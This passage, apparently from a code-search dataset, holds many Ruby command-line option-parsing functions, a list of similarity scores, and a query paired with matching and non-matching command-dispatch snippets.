\"patchkit-tools #{@program_name} #{program_usage}\"\n end\n\n opts.separator opts.summary_indent + \"patchkit-tools #{@program_name} --help\"\n\n opts.separator \"\"\n\n end\n\n yield @opt_parser\n\n @opt_parser.separator \"\"\n\n @opt_parser.separator \"Common\"\n\n unless @opts_defined.include? :host\n option('host', value: true, required: false, description: 'Hostname (format: patchkit.net)')\n end\n\n unless @opts_defined.include? :https\n option('https', value: true, required: false, description: 'Use HTTPS (false)')\n end\n\n @opt_parser.on(\"-h\", \"--help\", \"outputs a usage message and exit\") do\n puts @opt_parser\n exit\n end\n\n @opt_parser.separator \"\"\n\n @opt_parser.parse!(ARGV)\n\n @opts_required.each do |opt|\n raise CommandLineError, \"Missing required option --#{opt}\" unless @opts_used.include? opt\n end\n end", "def parse_options(argv)\n arguments = [\n [:rspec, \"--rspec\", \"RSpec mode\"],\n [:helper, \"--helper\", \"Helper file to load before tests start\", String],\n [:quiet, \"--quiet\", \"Quiet\"],\n [:no_fixtures, \"--no-fixtures\", \"Do not load fixtures\"],\n [:no_ar, \"--no-ar\", \"Disable ActiveRecord logic\"],\n [:merge_coverage, \"--merge-coverage\", \"Merge base code coverage into indvidual files coverage, great for SingleCov\"],\n [\n :record_runtime,\n \"--record-runtime=MODE\",\n \"\\n Record test runtime:\\n\" <<\n \" simple = write to disk at --runtime-log)\\n\" <<\n \" amend = write from multiple remote workers via http://github.com/grosser/amend, needs TRAVIS_REPO_SLUG & TRAVIS_BUILD_NUMBER\",\n String\n ],\n [:runtime_log, \"--runtime-log=FILE\", \"File to store runtime log in or runtime.log\", String],\n [:group, \"--group=NUM\", \"What group this is (use with --groups / starts at 1)\", Integer],\n [:groups, \"--groups=NUM\", \"How many groups there are in total (use with --group)\", Integer],\n [:version, \"--version\", \"Show version\"],\n [:help, \"--help\", \"Show help\"]\n ]\n\n options = arguments.each_with_object({}) do |(setting, flag, _, type), all|\n all[setting] = delete_argv(flag.split('=', 2)[0], argv, type: type)\n end\n\n # show version\n if options.fetch(:version)\n puts VERSION\n exit 0\n end\n\n # # show help\n if options[:help]\n parser = OptionParser.new(\"forking-test-runner folder [options]\", 32, '') do |opts|\n arguments.each do |_, flag, desc, type|\n opts.on(flag, desc, type)\n end\n end\n puts parser\n exit 0\n end\n\n # check if we can use merge_coverage\n if options.fetch(:merge_coverage)\n require 'coverage'\n abort \"merge_coverage does not work on Ruby prior to 2.3 due to the lack of the Coverage.peek_result method\" unless Coverage.method_defined?(:peek_result)\n klass = (class << Coverage; self; end)\n klass.prepend CoverageCapture\n end\n\n # all remaining non-flag options until the next flag must be tests\n next_flag = argv.index { |arg| arg.start_with?(\"-\") } || argv.size\n tests = argv.slice!(0, next_flag)\n abort \"No tests or folders found in arguments\" if tests.empty?\n tests.each { |t| abort \"Unable to find #{t}\" unless File.exist?(t) }\n\n [options, tests]\n end", "def parse(args)\n OptionParser.new do |opts|\n opts.banner = 'Usage: term [options]'\n\n opts.on('-d', '--debug', 'Enable debug') do |v|\n @options[:debug] = v\n end\n end.parse!(args)\n [@options, args]\n end", "def handle\n return CLI.show(parser.help) if argv.empty? || %w[-h --help].any? { |h| argv.include?(h) }\n\n parser.parse!(argv)\n option[:arch] ||= Util.system_arch\n true\n end", "def test_options_parser\n input_short = '-oC:\\test -v -c pass'.split(\" \")\n input_long = '--output-path=C:\\test --verbose --copy-only pass'.split(\" \")\n\n [input_short, input_long].each do |input|\n options = parse_args(input)\n\n assert_equal('C:\\test', options[:output_folder])\n assert_true(options[:verbose])\n assert_true(options[:copy_only])\n assert_equal(['pass'], input)\n end\n end", "def parse_options=(_arg0); end", "def parse_options=(_arg0); end", "def parse_options(argv, options)\n\toptions[:extra_plugins] = []\n\topt_parser = OptionParser.new do |opts|\n\t\topts.banner = \"Usage: make.rb [options]\"\n\t\topts.separator \"\"\n\t\topts.separator \"Common Options:\"\n\t\topts.on(\"-o\", \"--output DIRECTORY\", \"Binaries output directory (override SR_BIN_DIR)\") { |v| options[:output] = v }\n\t\topts.on(\"-p\", \"--platform PLATFORM\", \"Platform to target (#{$platforms.join(\", \")}, #{$platform_aliases.keys.join(\", \")})\") { |v| options[:platform] = v }\n\t\topts.on(\"-c\", \"--config CONFIGURATION\", \"Build configuration to use (#{$configs.join(\", \")})\") { |v| options[:config] = v }\n\t\topts.on(\"-e\", \"--devenv ENVIRONMENT\", \"Development environment to use (#{$devenvs.join(\", \")})\") { |v| options[:devenv] = v }\n\t\topts.on(\"-t\", \"--target TARGET\", \"Target project to build (default is all)\") { |v| options[:target] = v }\n\t\topts.on(\"-r\", \"--rebuild\", \"Clean all output targets before build\") { |v| options[:rebuild] = v }\n\t\topts.on(\"-x\", \"--clean\", \"Clean all output targets only\") { |v| options[:clean] = v }\n\t\topts.on(\"-g\", \"--[no-]generate\", \"Generate project files (default)\") { |v| options[:generate] = v }\n\t\topts.on(\"-b\", \"--[no-]build\", \"Launch a build of generated project files (default)\") { |v| options[:build] = v }\n\t\topts.on(\"-z\", \"--[no-]debug-info\", \"Enable debug information in all configurations (default)\") { |v| options[:debug_info] = v }\n\t\topts.on(\"--[no-]engine\", \"Enable Engine target\") { |v| options[:engine] = v }\n\t\topts.on(\"--[no-]editor\", \"Enable Editor target\") { |v| options[:editor] = v }\n\t\topts.separator \"\"\n\t\topts.separator \"Other Options:\"\n\t\topts.on(\"-k\", \"--kill\", \"Kill running processes\") { |v| options[:kill] = v }\n\t\topts.on(\"-u\", \"--[no-]update\", \"Update library directory with latest versions (default)\") { |v| options[:update] = v }\n\t\topts.on(\"-v\", \"--[no-]verbose\", \"Print detailed build informations\") { |v| options[:verbose] = v }\n\t\topts.on(\"--distrib\", \"Bundle your plugin for distribution\") { |v| options[:distrib] = v }\n\t\topts.on(\"--pause\", \"Pause system on completion or error\") { |v| options[:pause] = v }\n\t\topts.on(\"-h\", \"--help\", \"Prints this help\") do\n\t\t\tputs opts\n\t\t\texit 1\n\t\tend\n\tend\n\n\t# Parse options\n\tbegin\n\t\topt_parser.parse(argv)\n\trescue OptionParser::ParseError => e\n\t\tputs e\n\t\tputs\n\t\tputs opt_parser\n\t\texit 1\n\tend\n\n\treturn opt_parser\nend", "def parse(args)\n # The options specified on the command line will be collected in\n # *options*.\n @options = ScriptOptions.new\n\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n parser.parse!(args)\n end\n\n @options\n end", "def options_from(theCmdLineArgs)\n cli = CLI::CmdLine.new\n cli.parse!(theCmdLineArgs.dup)\n end", "def option_parser\n OptionParser.new do |op|\n op.banner << \" project\"\n\n op.on(\"-f\", \"--force\", \"force the overwriting of existing files\") do\n self.options.force = true\n end\n op.separator \"\"\n op.separator \"common options:\"\n op.on_tail( \"-h\", \"--help\", \"show this message\") do\n puts op\n exit 0\n end\n\n op.on_tail( \"--version\", \"show version\" ) do\n puts \"Crate #{::Crate::VERSION}\"\n exit 0\n end\n end\n end", "def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [options...]\"\n\n options[:tests] = []\n opts.on( '-t', '--tests DIR/FILE', 'Execute tests in DIR or FILE (defaults to \"./tests\")' ) do|dir|\n options[:tests] << dir\n end\n\n options[:type] = 'skip'\n opts.on('--type TYPE', 'Select puppet install type (pe, git, skip) - default \"skip\"') do\n |type|\n unless File.directory?(\"setup/#{type}\") then\n puts \"Sorry, #{type} is not a known setup type!\"\n exit 1\n end\n options[:type] = type\n end\n\n options[:puppet] = 'git://github.com/puppetlabs/puppet.git#HEAD'\n opts.on('-p', '--puppet URI', 'Select puppet git install URI',\n \" #{options[:puppet]}\",\n \" - URI and revision, default HEAD\",\n \" just giving the revision is also supported\"\n ) do |value|\n options[:type] = 'git'\n options[:puppet] = value\n end\n\n options[:facter] = 'git://github.com/puppetlabs/facter.git#HEAD'\n opts.on('-f', '--facter URI', 'Select facter git install URI',\n \" #{options[:facter]}\",\n \" - otherwise, as per the puppet argument\"\n ) do |value|\n options[:type] = 'git'\n options[:facter] = value\n end\n\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-d', '--dry-run', \"Just report what would be done on the targets\" ) do |file|\n $dry_run = true\n end\n\n options[:mrpropper] = FALSE\n opts.on( '--mrpropper', 'Clean hosts' ) do\n puts \"Cleaning Hosts of old install\"\n options[:mrpropper] = TRUE\n end\n\n options[:stdout_only] = FALSE\n opts.on('-s', '--stdout-only', 'log output to STDOUT but no files') do\n puts \"Will log to STDOUT, not files...\"\n options[:stdout_only] = TRUE\n end\n\n options[:quiet] = false\n opts.on('-q', '--quiet', 'don\\'t log output to STDOUT') do\n options[:quiet] = true\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend", "def parse_options(args) # :nodoc:\n global_options,command,options,arguments = parse_options_helper(args.clone,Hash.new,nil,Hash.new,Array.new)\n flags.each { |name,flag| global_options[name] = flag.default_value if !global_options[name] }\n command.flags.each { |name,flag| options[name] = flag.default_value if !options[name] }\n return [global_options,command,options,arguments]\n end", "def validate_and_parse_options\n # Checking ARGV validity *before* parse_options because parse_options\n # mangles ARGV in some situations\n if no_command_given?\n print_help_and_exit(1, NO_COMMAND_GIVEN)\n elsif no_subcommand_given?\n if (want_help? || want_version?)\n print_help_and_exit\n else\n print_help_and_exit(2, NO_COMMAND_GIVEN)\n end\n end\n end", "def parse(args)\n @options = Options.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n begin\n parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e.message\n exit\n end\n end\n @options\n rescue OptionParser::MissingArgument => e\n puts e.message\n exit\n end", "def parse_options(opts=nil)\n # make sure optparse doesn't use POSIXLY_CORRECT parsing\n ENV[\"POSIXLY_CORRECT\"] = nil\n\n # Creating a shallow copy of the arguments so the OptionParser\n # doesn't destroy the originals.\n argv = @argv.dup\n\n # Default opts to a blank optionparser if none is given\n opts ||= OptionParser.new\n\n # Add the help option, which must be on every command.\n opts.on_tail(\"-h\", \"--help\", \"Print this help\") do\n safe_puts(opts.help)\n return nil\n end\n\n opts.parse!(argv)\n return argv\n rescue OptionParser::InvalidOption, OptionParser::MissingArgument\n raise Errors::CLIInvalidOptions, help: opts.help.chomp\n end", "def getOptions\n @options = Array.new\n # format of options argument\n optionsPattern = Regexp.new(/\\-[\\w]+/)\n # check to see if options are formatted correctly\n if optionsPattern.match(ARGV[0])\n # get each option and push them to an array \n # start at 1 to ignore - \n for i in 1..ARGV[0].length - 1\n @options.push(ARGV[0][i])\n end # -- end for loop to get options\n else\n abort(\"First argument needs to be an option.\\nExample:\\n\\t ruby OSQuery -i Blood_rune\")\n end # -- end valid options check\nend", "def parse_yardopts_options(*args)\n opts = OptionParser.new\n opts.base.long.clear # HACK: why are --help and --version defined?\n yardopts_options(opts)\n begin\n opts.parse(args)\n rescue OptionParser::ParseError => err\n idx = args.index(err.args.first)\n args = args[(idx + 1)..-1]\n args.shift while args.first && args.first[0, 1] != '-'\n retry\n end\n end", "def initialize(argv)\n op = option_parser\n op.parse!(argv)\n check_options\n end", "def parse_arguments\n @cmd_line_arguments = {}\n\n @options = OptionParser.new do |opt|\n opt.on('-C', '--change-dir DIR', 'Change working directory to DIR') do |directory|\n @cmd_line_arguments[:working_directory] = directory\n end\n\n opt.on('-d', '--debug', 'Debug mode') do\n @cmd_line_arguments[:debug] = true\n end\n\n opt.on('-e', '--environment NAME', 'set environment to NAME') do |environment|\n @cmd_line_arguments[:environment] = environment\n end\n\n opt.on('-G', '--generate-json', 'Generate json files, which are commited to api') do\n @cmd_line_arguments[:generate_json_file] = true\n @cmd_line_arguments[:action] ||= :generate\n end\n\n opt.on('--generate-report', 'Generate report csv in output directory') do\n @cmd_line_arguments[:generate_report] = true\n end\n\n opt.on('-g', '--group NAME[,NAME]', Array, 'set groups') do |groups|\n @cmd_line_arguments[:groups] ||= []\n @cmd_line_arguments[:groups] += groups\n end\n\n opt.on('-j', '--job JOB[,JOB,...]', Array, 'Limit action to JOB, which is a regexpression') do |jobs|\n @selected_jobs += jobs\n end\n\n opt.on('-l', '--list', 'List available jobs') do\n @cmd_line_arguments[:action] = :list\n end\n\n opt.on('-p', '--project NAME', 'set project') do |project|\n @cmd_line_arguments[:project] = project\n end\n\n opt.on('-o', '--output-directory DIR', 'generate json file into DIR directory', 'default: ' + @config.output_directory) do |directory|\n @cmd_line_arguments[:output_directory] = directory\n end\n\n opt.on('-q', '--quiet', 'be quiet') do\n @cmd_line_arguments[:quiet] = true\n end\n\n opt.on('-r', '--run', 'Run all configured jobs or all jobs passed with -j') do\n @cmd_line_arguments[:action] = :run\n end\n\n opt.on('-R', '--report', 'show report') do\n @cmd_line_arguments[:report] = true\n end\n\n opt.on('-s', '--save-response', 'save respone in output directory') do\n @cmd_line_arguments[:save_response] = true\n end\n\n opt.separator \"\n\n Examples:\n # List all available jobs\n #{File.basename $0} -l\n\n # List all available jobs in a specific directory\n #{File.basename $0} -C api-helper -p LISU -l\n\n # Run all configured jobs\n #{File.basename $0} -r\n\n # Run all configured jobs and show a report\n #{File.basename $0} -r --report\n\n # Run all configured jobs in a specific directory\n #{File.basename $0} -C api-helper -p LISU -r\n\n # Run Job_A and Job_B, which must configured in project.yml or group.yml\n #{File.basename $0} -r -j Job_A -j Job_B\n\n # Run all Jobs, which beginn with JOB\n #{File.basename $0} -r -j JOB.*\n\n # Run all Jobs, which contains with JOB\n #{File.basename $0} -r -j .*JOB.*\n\n # Generate json files, which are going to be requested, for all configured jobs\n #{File.basename $0} -G\n\n # Generate json file, which are going to be requested, for Job_A\n #{File.basename $0} -G -j Job_A\n\n # Run jobs for delti group and generate json files\n #{File.basename $0} -r -G -g delti\n\n Available template macros:\n\n Variables and Responses:\n response('<job_name>', '<name>') - return value from the response of a job (see examples)\n response('<job_name>', - return value from the response of a job in another group (must be run before)\n '<name>',\n group: '<group_name>')\n var('<name>', - return variable defined in Job in Vars section.\n default: nil, when default is set (not nil) and variable is undefined, return default\n ignore_error: false) when variable is undefined, do not throw an error\n\n Date and Time:\n now() - returns today (now) in seconds\n yesterday() - returns yesterday in iso8601\n time([<day_shift>[, format: <format>]]) - returns time in specificied format\n defaults: day_shift = 0, format = :seconds\n format:\n :seconds : return time in seconds\n :iso8601 : return timestamp in iso8601\n :iso8601utc : return timestamp in iso8601 (utc)\n\n Examples:\n # get variable test\n var('test')\n\n # get value pdfToken from register response\n response('Delti_Create_DE', 'pdfToken')\n\n # get value pdfToken from register response, where job name is defined as variable in cancel job\n response(var('CreateJob'), 'pdfToken')\n\n # get value token from GenerateToken response in group auth\n response('GenerateToken', 'token', group: 'auth')\n\n # return time of today in seconds\n time()\n\n # return timestamp of today in iso8601\n time(format: :iso8601)\n\n # return timestamp of yesterday in iso8601\n time(-1, format: :iso8601)\n\n # return timestamp of last year in iso8601\n time(-365, format: :iso8601)\n\n # return timestamp of tomorrow in iso8601\n time(1, format: :iso8601)\n\n # return credential\n credential('PROJECT_NAME_username')\n\n # return basic auth header value\n basicauth('PROJECT_NAME_username', 'PROJECT_NAME_password')\n \"\n end\n @options.parse!\n\n @config.insert 0, '<command_line>', @cmd_line_arguments\n\n unless File.directory?(@config.output_directory)\n Dir.mkdir @config.output_directory\n end\n\n Dir.chdir @config.working_directory\n end", "def parse_command_line(args)\n test_configuration = {}\n\n option_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: run-tests.rb [options]'\n opts.separator 'Specific options:'\n\n opts.on('--blinkr', 'Execute broken link checks') do |opt|\n test_configuration[:blinkr] = opt\n end\n\n opts.on('--dcp', 'Execute dcp broken link checks') do |opt|\n test_configuration[:dcp] = opt\n end\n\n opts.on('--base-url RHD_BASE_URL', String, 'Run the tests against the specified host e.g http://developers.stage.redhat.com') do |host|\n test_configuration[:base_url] = host\n end\n\n opts.on('-c CONFIG_FILE', 'specify the config.yaml file for broken link checks') do |opt|\n test_configuration[:config] = opt\n end\n\n opts.on('--ignore-internal', \"Ignore internal URL's\") do |opt|\n test_configuration[:ignore_internal] = opt\n end\n\n opts.on('--ignore-external', \"Ignore external URL's\") do |opt|\n test_configuration[:ignore_external] = opt\n end\n\n opts.on('--ignore-ssl', 'Disable SSL certificate checking for staging environments') do |opt|\n test_configuration[:ignore_ssl] = opt\n end\n\n #\n # Options supporting the execution of the tests within Docker\n #\n opts.on('--use-docker', 'Run the specified test type using Docker') do\n test_configuration[:docker] = true\n end\n\n opts.on_tail('-h', '--help', 'Show this message') do\n puts opts\n Kernel.exit(1)\n end\n end\n\n begin\n option_parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e\n option_parser.parse(%w(-h))\n end\n bind_test_type_environment_variable(test_configuration)\n build_test_execution_command(test_configuration)\n test_configuration\n end", "def parse_options(args)\n \n dopts = Spiderman::Crawler::DEFAULT_OPTS\n options = Hash.new\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: spiderman [options]'\n opts.separator \"\"\n opts.separator \"Default values are given in parenthesis\"\n opts.separator \"\"\n opts.separator \"Specific options:\"\n\n opts.on(\"--url URL\", \"Setting the Base URL. (#{dopts[:base_url_string]})\") do |url|\n if url !~ Spiderman::Scraper::VALID_URL\n raise OptionParser::InvalidArgument, \"supports only http/https URLs\"\n end\n options[:base_url_string] = url\n end\n\n opts.on(\"--site\", \"-s\", \"Crawl single site only. (#{dopts[:site_only]})\") do\n options[:site_only] = true\n end\n\n opts.on(\"--depth N\", \"-d N\", Numeric, \"Maximum crawl depth, counting the Base URL. (#{dopts[:max_crawl_depth]})\") do |max_crawl_depth|\n if !(max_crawl_depth > 0)\n raise OptionParser::InvalidArgument, \"supports only numbers > 0\"\n end\n options[:max_crawl_depth] = max_crawl_depth\n end\n\n opts.on(\"--urls N\", \"-u N\", Numeric, \"Maximum number of urls to discover (#{dopts[:max_urls]})\") do |max_urls|\n if !(max_urls > 0)\n raise OptionParser::InvalidArgument, \"supports only numbers > 0\"\n end\n options[:max_urls] = max_urls\n end\n\n opts.separator \"\"\n opts.separator \"Common options:\"\n\n opts.on_tail('--verbose', \"Verbose output. (#{dopts[:verbose]})\") do\n options[:verbose] = true\n end\n\n opts.on_tail('--help', '-h', 'Show this message') do\n puts opts\n @end_program=true\n return\n end\n\n opts.on_tail('--version', '-v', 'Show version') do\n puts \"#{APPNAME}: version #{VERSION}\"\n @end_program=true\n return\n end\n end\n\n begin\n opt_parser.parse!(args)\n rescue => ex\n puts ex\n @end_program = true\n end\n\n options\n end", "def command_parse(argv)\n end", "def parse_options\n @options = {}\n @optparse = OptionParser.new do |opts|\n opts.banner = \"Usage: moa-metadata [options] <object-name> ...\\n\\n Cat objects metadata (to stdout)\\n\\n\"\n\n # @options[:numeric] = false\n # opts.on( '-n', 'Display user IDs numerically' ) do\n # @options[:numeric] = true\n # end\n\n opts.on( '-?', '--help', 'Display this screen' ) do\n puts opts\n exit 0\n end\n end\n\n @optparse.parse!\nend" ]
[ "0.803635", "0.7861017", "0.7848191", "0.78104764", "0.77321523", "0.7721252", "0.7697515", "0.76875573", "0.7664166", "0.7626608", "0.75806016", "0.75737077", "0.75731456", "0.7523304", "0.75094056", "0.7481376", "0.7470525", "0.74416137", "0.7418397", "0.74163747", "0.7375915", "0.7286907", "0.72821605", "0.72659063", "0.726343", "0.72409", "0.723243", "0.7207888", "0.71922874", "0.71886176", "0.71761817", "0.71597105", "0.7141946", "0.7139803", "0.7131996", "0.7118912", "0.7117001", "0.7101242", "0.70969653", "0.7070245", "0.70681053", "0.70529073", "0.70520765", "0.70399976", "0.7035478", "0.7033792", "0.7031285", "0.70262223", "0.7025051", "0.7018417", "0.70093393", "0.6997529", "0.6993684", "0.69927317", "0.69784486", "0.69771266", "0.69557357", "0.69551563", "0.694885", "0.694885", "0.6947672", "0.6939196", "0.6936006", "0.6922719", "0.69158727", "0.69085497", "0.6889995", "0.6887734", "0.688291", "0.6867663", "0.68669987", "0.68638116", "0.6863048", "0.6854909", "0.685352", "0.6851714", "0.6850724", "0.68478835", "0.68450415", "0.6842099", "0.68177456", "0.67962146", "0.6794637", "0.6794637", "0.678806", "0.678083", "0.67763937", "0.6775977", "0.6775938", "0.6765711", "0.6749054", "0.6732318", "0.6730985", "0.67307806", "0.67278785", "0.6725425", "0.67219526", "0.67214745", "0.6717413", "0.6712874", "0.6709603" ]
0.0
-1
Perform actions based on command & options
def execute Tools.public_send(command, options.configuration_path) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def do_action(cmd, options = {})\n # XXX Finish this\n end", "def run\n \n if parsed_options?\n \n process_command\n end\n \n end", "def run\n if options_valid? && option_combinations_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end", "def select_action\n return :help if @options[:help]\n\n return :version if @options[:version]\n\n return :info if @options[:info]\n\n return :bump if bump_option? @options\n\n # command without options invokes info action\n :info\n end", "def action_command\n Command.new(serverside_command_path, @serverside_version, *task) do |cmd|\n given_applicable_options = given_options & applicable_options\n given_applicable_options.each do |option|\n cmd.argument(option.type, option.to_switch, @arguments[option.name])\n end\n end\n end", "def run\n\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n\n end", "def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_options\n end\n end", "def run(options)\n act_on_options(options)\n end", "def run(options)\n fail_if_right_agent_is_not_running\n check_privileges\n set_logger(options)\n missing_argument unless options.include?(:action)\n # Don't use send_command callback as it swallows exceptions by design\n res = send_command(build_cmd(options), options[:verbose], options[:timeout])\n\n case options[:action]\n when :get_tags\n get_tags(res, options)\n when :query_tags\n query_tags(res, options)\n when :add_tag\n add_tag(res, options)\n when :remove_tag\n remove_tag(res, options)\n else\n write_error(res)\n end\n rescue SystemExit => e\n raise e\n rescue Exception => e\n fail(e)\n end", "def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end", "def process\n command = get_command()\n\n if command\n verify_command(command)\n else\n help\n end\n end", "def run!\n trace = false\n require_program :version, :description\n\n global_option('-h', '--help', 'Help on any command', :hide => true)\n global_option('--version', 'Display version information', :hide => true)\n\n # special case --debug so all commands can output relevant info on it\n $terminal.debug = options_parse_debug\n\n # special case --trace because we need to use it in the runner\n trace = options_parse_trace\n\n # special case --version so it is processed before an invalid command\n options_parse_version\n\n # help is a special branch prior to command execution\n options_parse_help\n\n unless trace\n begin\n run_active_command\n rescue InvalidCommandError => e\n run_help(provided_arguments)\n rescue \\\n OptionParser::InvalidOption => e\n RHC::Helpers.error e.message\n 1\n rescue \\\n ArgumentError,\n OptionParser::ParseError => e\n\n help_bindings = CommandHelpBindings.new(active_command, commands, self)\n usage = RHC::HelpFormatter.new(self).render_command_syntax(help_bindings)\n message = case e\n when OptionParser::AmbiguousOption\n \"The option #{e.args.join(' ')} is ambiguous. You will need to specify the entire option.\"\n else\n e.message\n end\n\n RHC::Helpers.error message\n say \"#{usage}\"\n 1\n rescue RHC::Exception, RHC::Rest::Exception => e\n RHC::Helpers.error e.message\n e.code.nil? ? 128 : [1, (e.code || 1).to_i].max\n end\n else\n run_active_command\n end\n end", "def run(_options)\n raise \"command '#{name}' is not implemented\"\n end", "def execute(opt, argv)\n fail \"#{self.class.command} not implemented\"\n end", "def process_command\n # Make sure we are running from the correct directory\n puts \"Running from .. \" + Dir.pwd if $DEBUG\n\n # determing which action and forward accordingly\n method = \"cmd_\" + @arguments.shift\n if !respond_to? method\n puts \"do not have `#{method}' in my reportoire ..\"\n output_usage\n end\n send(method, *@arguments)\n rescue ArgumentError\n output_usage\n end", "def run\n # puts arguments_valid?\n if parsed_options?\n puts \"Start at #{DateTime.now}\" if verbose?\n\n output_options if verbose?\n\n process_command\n\n puts \"\\nFinished at #{DateTime.now}\" if verbose?\n else\n puts 'The options passed are not valid!'\n end\n end", "def run\n\t\tif parsed_options? && arguments_valid?\n\t\t\toutput_options if @options[:verbose]\n\t\t\toutput_arguments if @options[:verbose]\n\t\t\tprocess_arguments\n\t\t\tprocess_command\n\t\telse\n\t\t\toutput_usage\n\t\tend\n\tend", "def available_commands(options)\n commands = %w[/start /checkin /checkout]\n response_to_user(options, commands.to_s)\n end", "def run\n if @options['file']\n execute_script @options['file']\n elsif @options['command']\n execute @options['command']\n else\n interactive_shell\n puts \n end\n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\n\\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n os \n process_command\n \n puts \"\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def command_run_options(c, str_opts)\n c.option '-c', '--categories [string]', String, str_opts.categories\n c.option '-d', '--dl-method [string]', String, str_opts.dl_method\n c.option '-n', '--number [integer]', Integer, str_opts.number\n c.option '-p', '--player [string]', String, str_opts.player\n c.option '-r', '--rng [string]', String, str_opts.rng\n end", "def run\n \n return output_usage if not (parsed_options? && arguments_valid?) \n \n return do_stats if @options.stats\n return do_attach if @options.attach\n return do_detach if @options.detach\n \n end", "def execute(command)\n case command.split.first\n when \"list\"\n list(@command)\n when \"play\"\n # if @library.empty? || @library.length.even?\n # puts \"that doesn't make any sense\"\n # prompt\n # else\n play(@command)\n # end\n when \"select\"\n if @library.empty? \n # || @library.length.even?\n puts \"that doesn't make any sense\"\n prompt\n else\n select(@command, @library)\n end\n when \"clear\"\n clear\n else\n puts \"The commands are: play, select, etc\"\n prompt\n end\n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n \n output_options if @options.verbose # [Optional]\n \n process_arguments \n process_command\n \n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def do_command( cmd )\n case cmd['command']\n when 'start_worker'\n start_worker( cmd, find_revision(cmd['revision']) )\n when 'signal_worker'\n manage_worker( cmd )\n when 'start_auto'\n start_auto( cmd, find_revision(cmd['revision']) )\n when 'stop_auto'\n stop_auto( cmd )\n when 'stop_daemon'\n @RUN_DAEMON= false\n when 'restart_workers_on_latest_revision' # Rolling restart on same daemon\n @RRESTART= true\n when 'restart_workers_on_latest_revision_and_quit' # Shutdown daemon and restart on another one\n @RRESTART= true\n @QUITTING= true \n when 'kill_daemon'\n send_status( 'Error', \"A kill request has been received, the daemon on #{@HOST} is now brutally terminating by calling exit()\")\n i_am_dead\n exit # Bye\n else\n send_status( 'Error', \"Unknown command '#{cmd['command']}'\" )\n end\n end", "def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\\n\\n\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments \n process_command\n puts \"\\nFinished at #{DateTime.now}\" if @options.verbose\n else\n Trollop::die \"user error, replace user and continue\"\n end\n end", "def run\n \n if parsed_options? && arguments_valid? \n \n puts \"Start at #{DateTime.now}\\\\n\\\\n\" if @options.verbose\n\n process_arguments \n process_command\n \n puts \"\\\\nFinished at #{DateTime.now}\" if @options.verbose\n \n else\n output_usage\n end\n \n end", "def run\n if parsed_options? && arguments_valid?\n log \"Start at #{DateTime.now}\\n\"\n output_options\n process_command\n log \"Finished at #{DateTime.now}\"\n else\n output_usage\n end\n end", "def perform(command, *args)\n\n #\n # use the given command's attributes to perform the action\n #\n\n raise NotImplementedError\n end", "def action(*args,&block)\n name, options = _parse_name_and_options(args)\n command.action({:name=>name}.merge(options),&block)\n end", "def we_have_a_command_with_two_subcommands(options = {})\n lambda {\n @run_results = { :add => nil, :rename => nil, :base => nil }\n @app.command :remote do |c|\n\n c.switch :f\n\n c.desc \"add a remote\"\n c.command [:add,:new] do |add|\n\n Array(options[:flags]).each { |_| add.flag _ }\n Array(options[:switches]).each { |_| add.switch _ }\n add.action do |global_options,command_options,args|\n @run_results[:add] = [global_options,command_options,args]\n end\n end\n\n c.desc \"rename a remote\"\n c.command :rename do |rename|\n rename.action do |global_options,command_options,args|\n @run_results[:rename] = [global_options,command_options,args]\n end\n end\n\n c.action do |global_options,command_options,args|\n @run_results[:base] = [global_options,command_options,args]\n end\n end\n ENV['GLI_DEBUG'] = 'true'\n }\n end", "def cmd!(cmd, options={})\r\n fail\r\n end", "def action\n puts \"use 